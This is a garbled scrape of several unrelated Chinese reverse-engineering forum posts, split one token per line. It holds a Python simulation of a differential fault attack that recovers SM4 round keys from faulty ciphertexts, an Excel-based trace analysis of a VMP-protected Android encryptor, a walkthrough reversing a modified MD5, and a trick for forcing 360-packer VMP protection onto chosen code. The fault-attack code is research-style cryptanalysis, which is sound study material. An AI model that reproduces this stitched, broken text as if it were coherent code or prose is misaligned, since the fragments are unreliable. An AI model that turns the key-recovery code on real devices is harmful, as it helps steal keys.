,
0xe7
,
0xa0
,
0xc4
,
0xc8
,
0x9e
,
0xea
,
0xbf
,
0x8a
,
0xd2
,
0x40
,
0xc7
,
0x38
,
\\n
0xb5
,
0xa3
,
0xf7
,
0xf2
,
0xce
,
0xf9
,
0x61
,
0x15
,
0xa1
,
0xe0
,
0xae
,
0x5d
,
0xa4
,
0x9b
,
0x34
,
\\n
0x1a
,
0x55
,
0xad
,
0x93
,
0x32
,
0x30
,
0xf5
,
0x8c
,
0xb1
,
0xe3
,
0x1d
,
0xf6
,
0xe2
,
0x2e
,
0x82
,
\\n
0x66
,
0xca
,
0x60
,
0xc0
,
0x29
,
0x23
,
0xab
,
0x0d
,
0x53
,
0x4e
,
0x6f
,
0xd5
,
0xdb
,
0x37
,
0x45
,
\\n
0xde
,
0xfd
,
0x8e
,
0x2f
,
0x03
,
0xff
,
0x6a
,
0x72
,
0x6d
,
0x6c
,
0x5b
,
0x51
,
0x8d
,
0x1b
,
0xaf
,
\\n
0x92
,
0xbb
,
0xdd
,
0xbc
,
0x7f
,
0x11
,
0xd9
,
0x5c
,
0x41
,
0x1f
,
0x10
,
0x5a
,
0xd8
,
0x0a
,
0xc1
,
\\n
0x31
,
0x88
,
0xa5
,
0xcd
,
0x7b
,
0xbd
,
0x2d
,
0x74
,
0xd0
,
0x12
,
0xb8
,
0xe5
,
0xb4
,
0xb0
,
0x89
,
\\n
0x69
,
0x97
,
0x4a
,
0x0c
,
0x96
,
0x77
,
0x7e
,
0x65
,
0xb9
,
0xf1
,
0x09
,
0xc5
,
0x6e
,
0xc6
,
0x84
,
\\n
0x18
,
0xf0
,
0x7d
,
0xec
,
0x3a
,
0xdc
,
0x4d
,
0x20
,
0x79
,
0xee
,
0x5f
,
0x3e
,
0xd7
,
0xcb
,
0x39
,
\\n
0x48
,
\\n]
SM4_FK
=
[
0xa3b1bac6
,
0x56aa3350
,
0x677d9197
,
0xb27022dc
]
\\nSM4_CK
=
[
\\n
0x00070e15
,
0x1c232a31
,
0x383f464d
,
0x545b6269
,
\\n
0x70777e85
,
0x8c939aa1
,
0xa8afb6bd
,
0xc4cbd2d9
,
\\n
0xe0e7eef5
,
0xfc030a11
,
0x181f262d
,
0x343b4249
,
\\n
0x50575e65
,
0x6c737a81
,
0x888f969d
,
0xa4abb2b9
,
\\n
0xc0c7ced5
,
0xdce3eaf1
,
0xf8ff060d
,
0x141b2229
,
\\n
0x30373e45
,
0x4c535a61
,
0x686f767d
,
0x848b9299
,
\\n
0xa0a7aeb5
,
0xbcc3cad1
,
0xd8dfe6ed
,
0xf4fb0209
,
\\n
0x10171e25
,
0x2c333a41
,
0x484f565d
,
0x646b7279
\\n]
def
gen_IN_table():
\\n
IN_table
=
[[[]
for
i
in
range
(
2
*
*
8
)]
for
j
in
range
(
2
*
*
8
)]
\\n
for
diff_in
in
range
(
1
,
2
*
*
8
):
\\n
for
x
in
range
(
2
*
*
8
):
\\n
diff_out
=
SM4_BOXES_TABLE[x] ^ SM4_BOXES_TABLE[diff_in ^ x]
\\n
IN_table[diff_in][diff_out].append(x)
\\n
return
IN_table
\\ndef
recovery_key(last_round_key):
\\n
rk
=
[
0
]
*
36
\\n
rk[
32
:]
=
last_round_key[::
-
1
]
\\n
for
i
in
range
(
31
,
-
1
,
-
1
):
\\n
rk[i]
=
rk[i
+
4
] ^ round_key(rk[i
+
1
] ^ rk[i
+
2
] ^ rk[i
+
3
] ^ SM4_CK[i])
\\n
rk[:
4
]
=
xor(rk[:
4
], SM4_FK)
\\n
return
rk
\\ndef
get_masterKey(sk):
\\n
MK
=
b\'\'.join(int2bytes(x, sliceSize)
for
x
in
sk[:
4
])
\\n
return
MK
\\ndef
round_key(ka):
\\n
b
=
[
0
,
0
,
0
,
0
]
\\n
a
=
put_uint32_be(ka)
\\n
b[
0
]
=
SM4_BOXES_TABLE[a[
0
]]
\\n
b[
1
]
=
SM4_BOXES_TABLE[a[
1
]]
\\n
b[
2
]
=
SM4_BOXES_TABLE[a[
2
]]
\\n
b[
3
]
=
SM4_BOXES_TABLE[a[
3
]]
\\n
bb
=
get_uint32_be(b[
0
:
4
])
\\n
rk
=
bb ^ (rotl(bb,
13
)) ^ (rotl(bb,
23
))
\\n
return
rk
\\ndef
set_key(key, mode):
\\n
key
=
bytes_to_list(key)
\\n
sk
=
[
0
]
*
32
\\n
MK
=
[
0
,
0
,
0
,
0
]
\\n
k
=
[
0
]
*
36
\\n
MK[
0
:
4
]
=
byte2slices(key)
\\n
k[
0
:
4
]
=
xor(MK[
0
:
4
], SM4_FK[
0
:
4
])
\\n
for
i
in
range
(
32
):
\\n
k[i
+
4
]
=
k[i] ^ (
\\n
round_key(k[i
+
1
] ^ k[i
+
2
] ^ k[i
+
3
] ^ SM4_CK[i]))
\\n
sk[i]
=
k[i
+
4
]
\\n
mode
=
mode
\\n
if
mode
=
=
SM4_DECRYPT:
\\n
for
idx
in
range
(
16
):
\\n
t
=
sk[idx]
\\n
sk[idx]
=
sk[
31
-
idx]
\\n
sk[
31
-
idx]
=
t
\\n
return
sk
\\ndef
f_function(x0, x1, x2, x3, rk):
\\n
# \\"T algorithm\\" == \\"L algorithm\\" + \\"t algorithm\\".
\\n
# args: [in] a: a is a 32 bits unsigned value;
\\n
# return: c: c is calculated with line algorithm \\"L\\" and nonline algorithm \\"t\\"
\\n
def
sm4_l_t(ka):
\\n
b
=
[
0
,
0
,
0
,
0
]
\\n
a
=
put_uint32_be(ka)
\\n
b[
0
]
=
SM4_BOXES_TABLE[a[
0
]]
\\n
b[
1
]
=
SM4_BOXES_TABLE[a[
1
]]
\\n
b[
2
]
=
SM4_BOXES_TABLE[a[
2
]]
\\n
b[
3
]
=
SM4_BOXES_TABLE[a[
3
]]
\\n
bb
=
get_uint32_be(b[
0
:
4
])
\\n
c
=
bb ^ (rotl(bb,
2
)) ^ (rotl(bb,
10
)) ^ (rotl(bb,
18
)) ^ (rotl(bb,
24
))
\\n
return
c
\\n
return
(x0 ^ sm4_l_t(x1 ^ x2 ^ x3 ^ rk))
\\ndef
round
(sk, in_put):
\\n
out_put
=
[]
\\n
ulbuf
=
[
0
]
*
36
\\n
ulbuf[
0
:
4
]
=
byte2slices(in_put)
\\n
for
idx
in
range
(
32
):
\\n
ulbuf[idx
+
4
]
=
f_function(ulbuf[idx], ulbuf[idx
+
1
], ulbuf[idx
+
2
], ulbuf[idx
+
3
], sk[idx])
\\n
out_put
+
=
put_uint32_be(ulbuf[
35
])
\\n
out_put
+
=
put_uint32_be(ulbuf[
34
])
\\n
out_put
+
=
put_uint32_be(ulbuf[
33
])
\\n
out_put
+
=
put_uint32_be(ulbuf[
32
])
\\n
return
out_put
\\ndef
sm4_encrypt(in_put, sk):
\\n
in_put
=
bytes_to_list(in_put)
\\n
output
=
round
(sk, in_put)
\\n
return
list_to_bytes(output)
\\n# 核心函数
def
gen_fault_cipher(in_put, sk, inject_round, verbose
=
1
):
\\n
in_put
=
bytes_to_list(in_put)
\\n
out_put
=
[]
\\n
ulbuf
=
[
0
]
*
36
\\n
ulbuf[
0
:
4
]
=
byte2slices(in_put)
\\n
for
idx
in
range
(
32
):
\\n
# 这里在注入攻击了
\\n
if
idx
is
inject_round:
\\n
# 模拟随机故障和故障的随机偏移
\\n
diff
=
random.randint(
1
,
2
*
*
8
-
1
)
\\n
offset
=
random.randrange(
0
,
25
,
8
)
\\n
index
=
random.randint(
1
,
3
)
\\n
if
(verbose >
3
):
\\n
print
(
\\"round %d:Inject diff 0x%.2x at offset %d\\"
%
(inject_round, diff, offset))
\\n
ulbuf[idx
+
index] ^
=
diff << offset
\\n
ulbuf[idx
+
4
]
=
f_function(ulbuf[idx], ulbuf[idx
+
1
], ulbuf[idx
+
2
], ulbuf[idx
+
3
], sk[idx])
\\n
out_put
+
=
put_uint32_be(ulbuf[
35
])
\\n
out_put
+
=
put_uint32_be(ulbuf[
34
])
\\n
out_put
+
=
put_uint32_be(ulbuf[
33
])
\\n
out_put
+
=
put_uint32_be(ulbuf[
32
])
\\n
return
list_to_bytes(out_put)
\\ndef
decrypt_round(in_put, last_round_key, verbose
=
1
):
\\n
output
=
[]
\\n
ulbuf
=
[
0
]
*
36
\\n
ulbuf[
0
:
4
]
=
byte2slices(in_put)
\\n
round_num
=
len
(last_round_key)
\\n
for
idx
in
range
(round_num):
\\n
ulbuf[idx
+
4
]
=
f_function(ulbuf[idx], ulbuf[idx
+
1
], ulbuf[idx
+
2
], ulbuf[idx
+
3
], last_round_key[idx])
\\n
if
verbose >
3
:
\\n
print
(
\\"decrypt round in %d:%x\\"
%
(idx, ulbuf[idx
+
4
]))
\\n
output
+
=
put_uint32_be(ulbuf[round_num])
\\n
output
+
=
put_uint32_be(ulbuf[round_num
+
1
])
\\n
output
+
=
put_uint32_be(ulbuf[round_num
+
2
])
\\n
output
+
=
put_uint32_be(ulbuf[round_num
+
3
])
\\n
return
list_to_bytes(output)
\\ndef
crack_round(roundFaultList, ref, last_round_key
=
[], verbose
=
1
):
\\n
if
not
last_round_key:
\\n
pass
\\n
else
:
\\n
\\"\\"\\"
\\n
if last round key is not empty: require to decrypt the cipher by it
\\n
\\"\\"\\"
\\n
ref
=
decrypt_round(ref, last_round_key, verbose)
\\n
for
index
in
range
(
len
(roundFaultList)):
\\n
roundFaultList[index]
=
decrypt_round(roundFaultList[index], last_round_key, verbose)
\\n
return
crack_bytes(roundFaultList, ref, verbose)
\\ndef
check(output, encrypt
=
None
, verbose
=
1
, init
=
False
, _intern
=
{}):
\\n
if
init:
\\n
_intern.clear()
\\n
if
not
_intern:
\\n
_intern[
\'goldenref\'
]
=
output
\\n
if
verbose >
2
:
\\n
print
(
\\"FI: record golden ref\\"
)
\\n
return
(FaultStatus.NoFault,
None
)
\\n
if
output
=
=
_intern[
\'goldenref\'
]:
\\n
if
verbose >
2
:
\\n
print
(
\\"FI: no impact\\"
)
\\n
return
(FaultStatus.NoFault,
None
)
\\n
# diff = int2bytes(output ^ _intern[\'goldenref\'], blockSize)
\\n
diff
=
xor(output, _intern[
\'goldenref\'
])
\\n
# record the index of difference
\\n
diffmap
=
[i
for
i
in
range
(
len
(diff))
if
diff[i] !
=
0
]
\\n
diffsum
=
len
(diffmap)
\\n
status
=
FaultStatus.Loop
\\n
if
diffsum
=
=
5
or
diffsum
=
=
8
or
diffsum
=
=
9
or
diffsum
=
=
12
or
diffsum
=
=
13
:
\\n
if
check_diff(diffmap, diffsum):
\\n
if
verbose >
2
:
\\n
if
diffsum
=
=
5
:
\\n
print
(
\\"FI: good candidate for round31!\\"
)
\\n
if
diffsum
=
=
9
or
diffsum
=
=
8
:
\\n
print
(
\\"FI: good candidate for round30!\\"
)
\\n
if
diffsum
=
=
13
or
diffsum
=
=
12
:
\\n
print
(
\\"FI: good candidate for round29!\\"
)
\\n
if
diffsum
=
=
5
:
\\n
status
=
FaultStatus.round31Fault
\\n
if
diffsum
=
=
9
or
diffsum
=
=
8
:
\\n
status
=
FaultStatus.round30Fault
\\n
if
diffsum
=
=
12
or
diffsum
=
=
13
:
\\n
status
=
FaultStatus.round29Fault
\\n
# big endian int, transform the index
\\n
return
(status, (
3
-
diffmap[diffsum
-
1
]
%
4
))
\\n
else
:
\\n
if
verbose >
2
:
\\n
print
(
\\"FI: wrong candidate (%2i)\\"
%
diffsum)
\\n
return
(FaultStatus.WrongFault,
None
)
\\n
elif
diffsum <
5
:
\\n
if
verbose >
2
:
\\n
print
(
\\"FI: too few impact (%2i)\\"
%
diffsum)
\\n
return
(FaultStatus.MinorFault,
None
)
\\n
else
:
\\n
if
verbose >
2
:
\\n
print
(
\\"FI: too much impact (%2i)\\"
%
diffsum)
\\n
return
(FaultStatus.MajorFault,
None
)
\\ndef
get_candidates(faultCipher, ref, index, verbose
=
1
):
\\n
if
not
hasattr
(get_candidates,
\'_IN_TABLE\'
):
\\n
get_candidates._IN_TABLE
=
gen_IN_table()
\\n
faultCipher
=
bytes2int(faultCipher)
\\n
ref
=
bytes2int(ref)
\\n
ref_slice
=
getSlices(ref)
\\n
fault_slice
=
getSlices(faultCipher)
\\n
delta_C
=
xor(ref_slice, fault_slice)[
3
]
\\n
delta_B
=
l_inv(delta_C)
\\n
A
=
ref_slice[
0
] ^ ref_slice[
1
] ^ ref_slice[
2
]
\\n
A_star
=
fault_slice[
0
] ^ fault_slice[
1
] ^ fault_slice[
2
]
\\n
alpha
=
singleState(A ^ A_star, index)
\\n
beta
=
singleState(delta_B, index)
\\n
result
=
get_candidates._IN_TABLE[alpha][beta]
\\n
if
result:
\\n
result
=
[singleState(A, index) ^ x
for
x
in
result]
\\n
else
:
\\n
result
=
[]
\\n
print
(
\\"Error: empty key candidate!\\"
)
\\n
return
result
\\ndef
crack_bytes(roundFaultList, ref, verbose
=
1
):
\\n
candidates
=
[[], [], [], []]
\\n
key
=
[
None
]
*
4
\\n
_, index
=
check(ref, init
=
True
)
\\n
for
faultCipher
in
roundFaultList:
\\n
_, index
=
check(faultCipher)
\\n
if
index
is
not
None
:
\\n
if
key[index]
is
not
None
:
\\n
continue
\\n
else
:
\\n
if
verbose >
2
:
\\n
print
(
\\"bad fault cipher:\\"
)
\\n
dump_byte(faultCipher)
\\n
continue
\\n
if
verbose >
1
:
\\n
print
(
\\"key index at %d\\"
%
(index))
\\n
c
=
get_candidates(faultCipher, ref, index, verbose)
\\n
if
not
candidates[index]:
\\n
# initial candidate state
\\n
candidates[index]
=
c
\\n
else
:
\\n
candidates[index]
=
intersect(candidates[index], c)
\\n
# get the exact key
\\n
if
(
len
(candidates[index])
=
=
1
):
\\n
key[index]
=
candidates[index][
0
]
\\n
if
verbose >
1
:
\\n
print
(
\\"Round key bytes recovered:\\"
)
\\n
print
(\'\'.join([
\\"%02X\\"
%
x
if
x
is
not
None
else
\\"..\\"
for
x
in
key]))
\\n
# check whether all key bytes have been recovered
\\n
for
byte
in
key:
\\n
if
(byte
is
None
):
\\n
print
(
\\"Only partly recovered:\\"
)
\\n
print
(\'\'.join([
\\"%02X\\"
%
x
if
x
is
not
None
else
\\"..\\"
for
x
in
key]))
\\n
return
None
\\n
return
get_uint32_le(key)
\\ndef
foo():
\\n
masterKey
=
b
\'\\\\x01\\\\x23\\\\x45\\\\x67\\\\x89\\\\xab\\\\xcd\\\\xef\\\\xfe\\\\xdc\\\\xba\\\\x98\\\\x76\\\\x54\\\\x32\\\\x10\'
\\n
in_put
=
b
\'\\\\x01\\\\x23\\\\x45\\\\x67\\\\x89\\\\xab\\\\xcd\\\\xef\\\\xfe\\\\xdc\\\\xba\\\\x98\\\\x76\\\\x54\\\\x32\\\\x10\'
\\n
# last_round_key = [k31, k30, k29, k28]
\\n
# last_round_key = [0x9124a012, 0x01cf72e5 ,0x62293496, 0x428d3654]
\\n
sk
=
set_key(masterKey, SM4_ENCRYPT)
\\n
# print(\\"fault output:\\")
\\n
# 这里是在29-32生成总共120组故障密文
\\n
r31
=
[gen_fault_cipher(in_put, sk,
31
)
for
i
in
range
(
30
)]
\\n
r30
=
[gen_fault_cipher(in_put, sk,
30
)
for
i
in
range
(
30
)]
\\n
r29
=
[gen_fault_cipher(in_put, sk,
29
)
for
i
in
range
(
30
)]
\\n
r28
=
[gen_fault_cipher(in_put, sk,
28
)
for
i
in
range
(
30
)]
\\n
# for i in r31:
\\n
# print(bytes.hex(i))
\\n
# for i in r30:
\\n
# print(bytes.hex(i))
\\n
# for i in r29:
\\n
# print(bytes.hex(i))
\\n
# for i in r28:
\\n
# print(bytes.hex(i))
\\n
# 这个是计算出正确的密文
\\n
ref
=
sm4_encrypt(in_put, sk)
\\n
# print(bytes.hex(ref))
\\n
last_round_key
=
[]
\\n
key_schedule
=
[]
\\n
last_round_key.append(crack_round(r31, ref))
\\n
last_round_key.append(crack_round(r30, ref, last_round_key))
\\n
last_round_key.append(crack_round(r29, ref, last_round_key))
\\n
last_round_key.append(crack_round(r28, ref, last_round_key))
\\n
# Round key 32 found:
\\n
# 12A02491
\\n
# Round key 31 found:
\\n
# E572CF01
\\n
# Round key 30 found:
\\n
# 96342962
\\n
# Round key 29 found:
\\n
# 54368D42
\\n
# 这个结果对应32、31、30、29轮
\\n
print
(last_round_key)
\\n
# key_schedule = recovery_key(last_round_key)
\\n
# MK = get_masterKey(key_schedule)
\\n
# print(\\"Master Key found:\\")
\\n
# dump_byte(MK)
\\nif
__name__
=
=
\'__main__\'
:
\\n
foo()
\\nimport
random
\\nfrom
enum
import
Enum
\\n# 定义故障状态枚举类型
FaultStatus
=
Enum(
\'FaultStatus\'
,
\\n
\'Crash Loop NoFault MinorFault MajorFault WrongFault round31Fault round30Fault round29Fault\'
)
\\nblockSize
=
16
\\nsliceSize
=
blockSize
/
/
4
\\n# 基础运算函数定义
xor
=
lambda
a, b:
list
(
map
(
lambda
x, y: x ^ y, a, b))
# 异或运算
\\nrotl
=
lambda
x, n: ((x << n) &
0xffffffff
) | ((x >> (
32
-
n)) &
0xffffffff
)
# 循环左移
\\n# 字节序转换函数
get_uint32_be
=
lambda
key_data: ((key_data[
0
] <<
24
) | (key_data[
1
] <<
16
) | (key_data[
2
] <<
8
) | (key_data[
3
]))
# 大端序
\\nget_uint32_le
=
lambda
key_data: ((key_data[
3
] <<
24
) | (key_data[
2
] <<
16
) | (key_data[
1
] <<
8
) | (key_data[
0
]))
# 小端序
\\nput_uint32_be
=
lambda
n: [((n >>
24
) &
0xff
), ((n >>
16
) &
0xff
), ((n >>
8
) &
0xff
), ((n) &
0xff
)]
\\nbytes_to_list
=
lambda
data: [i
for
i
in
data]
\\nlist_to_bytes
=
lambda
data: b\'\'.join([bytes((i,))
for
i
in
data])
\\ndump_byte
=
lambda
a:
print
(\'
\'.join(map(lambda x: (\'
/
x
\' if len(hex(x)) >= 4 else \'
/
x0\')
+
hex
(x)[
2
:], a)))
\\n声明
在前面逆向vmp的时候 handle分析写的是欲仙欲死,于是乎有了这篇文章,这篇文章的的灵感来源于https://bbs.kanxue.com/thread-270799.htm,由于vmp带来的代码膨胀,寻常的调试 f5 已经对无能为力了,既然寄存器跟踪不了 那我们来跟踪数据吧。
这里选用excel 作为trace 的一个后端,之所以用它,是因为我在b站看到了EXCEL 2024电竞大赛的相关视频 ,看的我是一愣一愣的,它主要有这几个优点
1.结果可视化
2.搜索速率强大
3.奇奇怪怪的功能丰富,不用自己造轮子
1.指令集
2、内存读写
3.寄存器
4.值分析(写不明白)
这里选用的libEncryptor 中的ttEncrypt算法进行实验 trace下来后开始分析。
可以看到7w条trace 如果是调试 那么你的键盘已经按烂了
数据分析有两种 一种是参数跟踪到结果 一种是结果跟踪到参数,这里用的是结果跟踪到参数 从下往上找。
先看看结果在哪
可以看到v9 长度为 v11 应该就是传出的结果了0x790103e700 excel根据地址从下往上搜索
那么现在的问题变成了 谁填写了这个地址
继续搜索memacc
填写这个地址的是个 aes算法
于是乎 问题变成了参数是怎么来
跟踪第一个参数 0x793b65fb60
发现 是由memcpy 赋值
于是乎问题变成了79011daa00 怎么来的
于是乎问题变成了78527c4960怎么来的
ida 查看这个地址
sha512
于是乎 原文怎么生成的
跟踪到 6ac4
一个填充算法
向上继续跟踪
又是一次sha512
继续向上
得知是由rand生成
说一下大致流程
rand 随机数 -> sha512 ->填充算法-> sha512 -> key
在完成整个trace后 可以发现基于数据流的分析可以让程序流程无从遁形 大大提高了逆向工程的效率,对比逆向vmp的handle的效率,数据流分析的效率大大提高的,我仅仅是用了excel的搜索功能,就将整个流程分析的差不多了。不想去逆向vmp的兄弟可以自己动手试试
这种trace的分析更像是ttd的一种简化版本 或者说没有ce的无赖之举,但是在trace过程中我尝试过值分析,但是带来的却是trace速度减慢,非常慢,我如果想知道一个值是指针还是地址 还是常数 ,字符串有没有什么更好的办法,利用frida的try catch 机制去强制读写 带来的却是性能的成倍削弱,在引用了缓存机制后,又发现缓存更新又是一个大麻烦,有没有大佬捞一手
num: number;
addr: NativePointer;
\\n
offset: NativePointer;
\\n
asm: string;
\\n
mem_acc: string;
\\n
reg_analyse: string;
\\n
func_analyse: string;
\\n
X0: NativePointer;
\\n
X1: NativePointer;
\\n
X2: NativePointer;
\\n
X3: NativePointer;
\\n
X4: NativePointer;
\\n
X5: NativePointer;
\\n
X6: NativePointer;
\\n
X7: NativePointer;
\\n
X8: NativePointer;
\\n
X9: NativePointer;
\\n
X10: NativePointer;
\\n
X11: NativePointer;
\\n
X12: NativePointer;
\\n
X13: NativePointer;
\\n
X14: NativePointer;
\\n
X15: NativePointer;
\\n
X16: NativePointer;
\\n
X17: NativePointer;
\\n
X18: NativePointer;
\\n
X19: NativePointer;
\\n
X20: NativePointer;
\\n
X21: NativePointer;
\\n
X22: NativePointer;
\\n
X23: NativePointer;
\\n
X24: NativePointer;
\\n
X25: NativePointer;
\\n
X26: NativePointer;
\\n
X27: NativePointer;
\\n
X28: NativePointer;
\\n
FP: NativePointer;
\\n
LR: NativePointer;
\\n
SP: NativePointer;
\\n
NZCV: NativePointer;
\\n
PC: NativePointer;
\\nnum: number;
addr: NativePointer;
\\n
offset: NativePointer;
\\n
asm: string;
\\n
mem_acc: string;
\\n
reg_analyse: string;
\\n
func_analyse: string;
\\n
X0: NativePointer;
\\n
X1: NativePointer;
\\n
X2: NativePointer;
\\n
X3: NativePointer;
\\n
X4: NativePointer;
\\n
X5: NativePointer;
\\n
X6: NativePointer;
\\n
X7: NativePointer;
\\n
X8: NativePointer;
\\n
X9: NativePointer;
\\n这是我第一次接触魔改MD5,样本在附件,
没有混淆、代码逻辑清晰,所以我感觉很适合用来学习MD5逆向分析
由于目标函数是 Java_xxx_EncodeUtil_gen 静态注册、没有参数,干就完了
这部分代码还是很简单清晰的,MD5的函数名都没有抹掉
1、jni 获取 java/security/SecureRandom 的 nextInt 方法,memset 初始化 v21;
2、然后循环16次调用 nextInt 生成随机数 传参 bound 为62,随机数再作为下标在字符串中取值;
3、初始化v19 作为MD5 Context,MD5 update将上面生成的随机数进行MD5,将结果储存在v18中;
OK,然后我们看下那个字符串有没有问题
点过去就能看到 \\"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZex\\"
上面实际上就是生成0-9 a-z A-Z 的随机字符串,然后进行MD5,现在进入下一部分
这里调用了 sub_983c
这部分的IDA的识别有点问题,hook一下函数结束就能发现 实际上就是将MD5后的结果(Hex 格式)转换成字符串
最后一部分的代码如下
v15也是密文结果,这里就直接倒着看,看他的结果组成
v20 是结果,调用jni NewStringUTF 说明就直接是个字符串
他这里赋值的顺序有点乱,整理一下,之前 v20 第一位的赋值看了老半天没看到后面才发现在中间躲着的
v20[3]赋值:
先从最简单的来,v20第四位是固定的 0x32
看下ASCII 码表
0x32对应的符号是2
v20[4]赋值:
这个也比较直接 *(_OWORD *)&v20[4] = *(_OWORD *)v21;
v21 就是之前通过随机数生成的随机字符串
v20、v20[2]赋值:
v20 第一位是v13 ,v20第三位就是(char)v12,往上可以看到赋值过程
这里需要注意取值的区别,一个是(char)v12 取一个字节,一个是用_WORD取了两个字节
这里实际上就等价于v15密文字符串的v11 开始连续取三个字节,然后放入v20的前三个字节中
那么找到v11就可以了
v16 是MD5后的密文,将密文的最后一个字节 减去 0x30 赋值给v11,然后判断v11是否大于9,小于9直接v11就是结果,
大于9再判断 密文的最后一个字节减去0x61是否大于5,小于5 V11就是最后一个字节 减去 0x357
大于5再判断密文的最后一个字节减去0x41是否大于6,小于6 v11等于 最后一个字节减去0x57
大于6 v11=-1
通过随机数生成 0-9 a-z A-Z 的随机字符串;
将随机字符串进行MD5生成密文,并格式化成字符串;
通过密文的最后一位计算得到索引;
从索引处向后取3位赋值给结果的前三位,第四位固定是2,后面是随机字符串原文。
简单清晰,但是如果我们写代码时就会发现,他的MD5有问题
例如:他生成的一个结果是:0232e0Jtev5sBTcVOYwj
通过前面的分析,e0Jtev5sBTcVOYwj 是随机密文 , 023是某个索引后的三个字符串
但是,标准MD5的结果中压根没有 023。。。
分析MD5 我就随便在github上找了一个标准的MD5代码进行对比分析
直接使用 unidbg 将so跑起来,没有环境检测,补一下java/security/SecureRandom nextint就行
MD5 三个标准流程:MD5Init、MD5Update、MD5Final
挨着看,先从 MD5Init 开始
MD5Init 方法体比较简单,就是给 传进来的参数a1进行赋值
这里有两个常量值,点进去看一下,
看上去和标准MD5的初始化数值好像一样,但是中间多了四个0x0
这里如果对这个方法进行HOOK 可以发现它的结果就是这样,没有额外进行处理
但是这里还不能确定他是否魔改了,他的四个初始IV 理论上没有变,只是中间多了四个0x0
万一他的取值方法比较特殊最终取出来的结果就是标准的呢?
查看标准MD5代码可以发现,这四个初始化IV其实在后面有直接调用
但是这个调用在后面 MD5::update 里,所以等分析到那儿进行hook一下就行
这里我选择直接trace了一份日志,然后直接拿结果去日志里搜,算是偷个懒
直接拿标准MD5的初始IV 0x67452301 搜一下,总共只有6处调用,很快就能看到这里
MD5的结果是 fa60b42bc1addd4b58f08e44cfa047
由于在内存中是小端序,因此他的结果是 2b460fa,正好对应密文的前面几个字符
这里就可以看出他的第一个初始化IV没有进行魔改,而且正好也加在了第一段密文(A)上
以此类推,可以把四个IV 都给搜出来并检验了,内容没改,顺序没改
Init 方法结束,没有进行魔改
MD5Updat 代码部分看着也还行,算是比较清晰的,我大概看了一眼做了啥
看上去跟标准MD5流程一致,而且0x40,8 这些常量计算都没有进行修改
而且这部分最好的检验方法,就是去看下 transform 方法的入参是否与标准不一致就好了
通过查看标准MD5的代码不难发现,里面只调用了 transform 这个方法
这就很明显了 sub_8454就是我们的 transform 方法,hook一下入参就可以发现前面的流程并没有进行魔改
a b c d 四个标准IV 这里也可以hook看看,也可以发现他是标准的
但是中间他这个 while循环,我之前看的一个md5版本里没有这个,以为是魔改点,实际上是 MD5::decode,芝士点+1
跟前面的四个初始化IV一样,每隔四字节中间插入四个0x0
but,他这个长度 128 ,没看懂,不过后面全是0,应该不影响吧
代码还是比较简单的,HOOK一下就能看到计算前后的区别,其实就是4字节分组,然后中间插入0,这里为了复现将他手动扣下来了
运算结果展示
暂时跳过这部分的长度小问题,进入下部分计算
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n众所周知,360加固仅对Activity的onCreate函数进行了vmp加强保护,但一般我们的核心代码都不在该函数里,这样就起不到应有的保护作用了,那怎样才能把核心代码放到onCreate里呢?
首先分析,360加固识别onCreate规则,一个继承Activity的类,并且该类下实现了Activity的onCreate函数,并在AndroidManifest.xml里注册该activity
但是这样的实现IDE会提示,无法通过编译
直接加个注解即可,让它不提示
360成功加固了该onCreate函数
然后是调用,一般常规的调用就是startActivity->进入系统代码->然后由系统实例化Activity->最后调用app里实现的onCreate函数,但其实app也可以自己实例化该activity,直接new Request()
即可,但该实例化不要放在子线程里,否则会报
activity对象实例化后,就可以去调onCreate函数了,这里调用onCreate函数就没有线程限制了,任意线程都可以调用
这样就实现在任意线程主动调用onCreate函数了,虽然onCreate没有返回值,但是有Bundle参数,直接把返回值放在Bundle参数里即可
比如核心代码是一个网络请求
由于android系统限制,网络请求需要放在子线程里
这样就实现了核心代码的vmp保护
不过这样使用起来肯定是不太方便的,比如函数参数和返回值的处理,为此笔者优化了下代码,封装了一个库: VMP361
使用时,直接继承其中的VMP361.Method类,把要保护的核心代码放入onCreate方法,然后在 AndroidManifest.xml 里注册即可
其中super.onCreate(args)调用父类的onCreate,参数交给父类解析,然后就可以用getArg(0)可以获取对应索引的参数,返回值为泛型,可以自动转换类型,result(result)将处理后的结果返回
接下来就可以调用了
一行代码搞定:
将要想保护的函数或类加上注解,比如
然后通过AS插件,自动化提取被注解的函数的代码,放到一个以<类名>+<函数名>命名的Activity里的onCreate方法里,并将该Activity注册到AndroidManifest.xml里,最后再通过上面说的一行代码调用即可
当然,这只是一种最简单的函数,实际函数可能要复杂的多,比如涉及外部变量和函数调用等等
还有一种方式不是基于AS插件,而是直接对apk进行操作,通过dexlib等类似的工具直接解析重构dex和AndroidManifest.xml文件。
不过不确定360加固保护onCreate的个数有没有限制,有知道的大佬可以评论区说下
声明:转载请注明出处,原帖地址:kanxue & shlu\'s note
public
class
Request
extends
Activity {
\\n
protected
void
onCreate(Bundle savedInstanceState) {
\\n
}
\\n}
public
class
Request
extends
Activity {
\\n
protected
void
onCreate(Bundle savedInstanceState) {
\\n
}
\\n}
<?
xml
version
=
\\"1.0\\"
encoding
=
\\"utf-8\\"
?>
\\n<
manifest
xmlns:android
=
\\"c57K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4U0K9r3g2E0j5i4y4Q4x3X3g2S2L8X3c8J5L8$3W2V1i4K6u0W2j5$3!0E0i4K6u0r3j5i4m8C8i4K6u0r3M7X3g2K6i4K6u0r3j5h3&6V1M7X3!0A6k6l9`.`.\\"
\\n
xmlns:tools
=
\\"0d8K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4U0K9r3g2E0j5i4y4Q4x3X3g2S2L8X3c8J5L8$3W2V1i4K6u0W2j5$3!0E0i4K6u0r3N6r3!0G2L8s2x3`.\\"
>
\\n
<
application
>
\\n
<
activity
android:name
=
\\"xxx.xxxx.Request\\"
/>
\\n
</
application
>
\\n</
manifest
>
\\n<?
xml
version
=
\\"1.0\\"
encoding
=
\\"utf-8\\"
?>
\\n<
manifest
xmlns:android
=
\\"c57K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4U0K9r3g2E0j5i4y4Q4x3X3g2S2L8X3c8J5L8$3W2V1i4K6u0W2j5$3!0E0i4K6u0r3j5i4m8C8i4K6u0r3M7X3g2K6i4K6u0r3j5h3&6V1M7X3!0A6k6l9`.`.\\"
\\n
xmlns:tools
=
